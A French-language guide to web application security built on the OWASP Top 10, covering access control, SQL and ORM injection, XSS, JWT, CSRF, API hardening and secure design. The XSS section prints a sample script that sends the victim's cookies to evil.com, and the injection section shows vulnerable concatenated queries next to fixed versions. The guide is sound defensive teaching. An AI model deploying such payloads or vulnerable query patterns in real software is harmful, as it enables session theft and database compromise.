👁️ 45 vues
Guide complet de la sécurité des applications web
Guide pédagogique et pratique basé sur l’OWASP (Top 10, ASVS, Cheat Sheets) et les bonnes pratiques reconnues en sécurité applicative.
Ce document a pour objectif de fournir une compréhension exhaustive de la sécurité des applications web modernes, incluant :
- Frontend (SPA, web, mobile)
- Backend API (REST / GraphQL)
- Authentification et autorisation
- Bases de données, ORM et persistance
- Sécurité par conception (Secure by Design)
1. Modèle mental de la sécurité web
La sécurité applicative repose sur quatre piliers fondamentaux :
- Authentification : Qui est l’utilisateur ?
- Autorisation : Que peut-il faire ?
- Confidentialité : Les données sont-elles protégées ?
- Intégrité & disponibilité : Le système est-il fiable et accessible ?
Toute attaque vise à affaiblir, contourner ou casser au moins un de ces piliers.
Principe fondamental :
Tout ce qui vient du client est hostile par défaut.
2. Architecture moderne : Frontend + API
```| [ Navigateur / Application mobile ] | HTTPS + Token (JWT / OAuth2) v [ API Backend ] |
|---|
v [ Base de données ]
### Règles essentielles
- Le frontend **n’est jamais digne de confiance**
- Toutes les validations de sécurité doivent être faites côté backend
- Le réseau est considéré comme compromis
- L’API doit être sécurisée indépendamment du frontend
---
## 3. OWASP Top 10 – Vue d’ensemble
Les vulnérabilités les plus critiques selon l’OWASP :
1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery (SSRF)
Ces catégories couvrent **l’immense majorité des failles critiques observées en production**.
---
## 4. Broken Access Control (Contrôle d’accès cassé)
### Description
Le backend ne vérifie pas correctement **ce que l’utilisateur est autorisé à faire**.
### Exemples d’attaques
- Accès aux données d’un autre utilisateur :GET /api/users/42
- Modification de privilèges via un champ JSON
- Accès à des routes administrateur sans droits
Causes fréquentes
- Absence de contrôle serveur
- Confiance dans le frontend
- Règles d’accès dispersées dans le code
Contremesures
- Vérifier les autorisations à chaque requête
- Centraliser les règles d’accès
- Implémenter RBAC (roles) ou ABAC (attributs)
if ($user->id !== $resource->owner_id) {
throw new ForbiddenException();
}5. Injection (SQL, NoSQL, Command, LDAP…)
Description
Une injection survient lorsque des données utilisateur sont interprétées comme du code.
SQL Injection
❌ Code vulnérable :
SELECT * FROM users WHERE email = '$email'✅ Code sécurisé :
SELECT * FROM users WHERE email = ?Injections et ORM
Les ORM réduisent le risque, mais ne le suppriment pas.
❌ Dangereux :
$qb->where("u.email = '$email'");✅ Sécurisé :
$qb->where('u.email = :email')
->setParameter('email', $email);Contremesures générales
- Requêtes préparées uniquement
- Aucune concaténation dynamique
- Validation stricte des types
- Principe du moindre privilège côté DB
6. XSS – Cross-Site Scripting
Description
Injection de JavaScript malveillant exécuté dans le navigateur de la victime.
Exemple
<script>
fetch('https://evil.com/steal?c=' + document.cookie)
</script>Types de XSS
- Stored XSS (persistant en base)
- Reflected XSS
- DOM-based XSS
Contremesures
- Échapper toutes les sorties HTML
- Utiliser des frameworks avec auto-escaping
- Activer les headers de sécurité
Content-Security-Policy
X-Content-Type-Options7. Cryptographic Failures
Problèmes fréquents
- Données sensibles non chiffrées
- Algorithmes obsolètes (MD5, SHA1)
- Mauvaise gestion des clés
Bonnes pratiques
- HTTPS (TLS 1.2+)
- Chiffrement au repos
- Rotation des clés
- Secrets hors du code source
8. Authentification cassée
Vulnérabilités courantes
- Mots de passe faibles
- Pas de limitation de tentatives
- Sessions infinies
Bonnes pratiques
- Hash fort (bcrypt, argon2)
- MFA si possible
- Politique de mots de passe
- Verrouillage temporaire
password_hash($password, PASSWORD_ARGON2ID);9. JWT et tokens
Erreurs fréquentes
- JWT sans expiration
- Secret faible
- Données sensibles dans le payload
Bonnes pratiques
- Champs obligatoires :
exp,iat,iss,aud - Signature asymétrique (RS256)
- Tokens courts + refresh tokens
10. CSRF – Cross-Site Request Forgery
Description
Un utilisateur authentifié exécute une action sans le vouloir.
Contremesures
- Tokens CSRF
- Cookies
SameSite=Strict - APIs stateless avec header Authorization
11. Sécurité des API REST
Bonnes pratiques
- HTTPS obligatoire
- Authentification sur toutes les routes
- Rate limiting
- Pagination
- Validation stricte des entrées
HTTP/1.1 429 Too Many Requests12. Sécurité des bases de données
Bonnes pratiques
- Compte DB non-root
- Droits minimaux
- Séparation lecture / écriture
- Sauvegardes chiffrées
Chiffrement
- Données sensibles chiffrées
- Clés stockées hors application
13. Logs et monitoring
Importance
Une attaque non détectée est une attaque réussie.
À journaliser
- Échecs d’authentification
- Accès refusés
- Actions sensibles
⚠️ Ne jamais loguer :
- Mots de passe
- Tokens
- Données personnelles
14. Sécurité du frontend
Réalités
- Code visible
- API exposée
- Attaques automatisées
Bonnes pratiques
- Aucun secret côté frontend
- CSP stricte
- Validation UX ≠ validation sécurité
15. Sécurité par conception (Secure by Design)
Principes fondamentaux
- Least Privilege
- Fail Secure
- Defense in Depth
- Zero Trust
- Secure Defaults
16. Checklist de sécurité
- [ ] HTTPS partout
- [ ] Authentification forte
- [ ] Autorisation systématique
- [ ] Requêtes préparées
- [ ] Logs et alertes
- [ ] Dépendances à jour
- [ ] Tests de sécurité
17. Pour aller plus loin
- OWASP ASVS
- OWASP Cheat Sheets
- Threat Modeling (STRIDE)
- SAST / DAST
- Pentests réguliers
La sécurité n’est pas un état, mais un processus continu.
Il n'y a actuellement aucun commentaire, alors soyez le premier !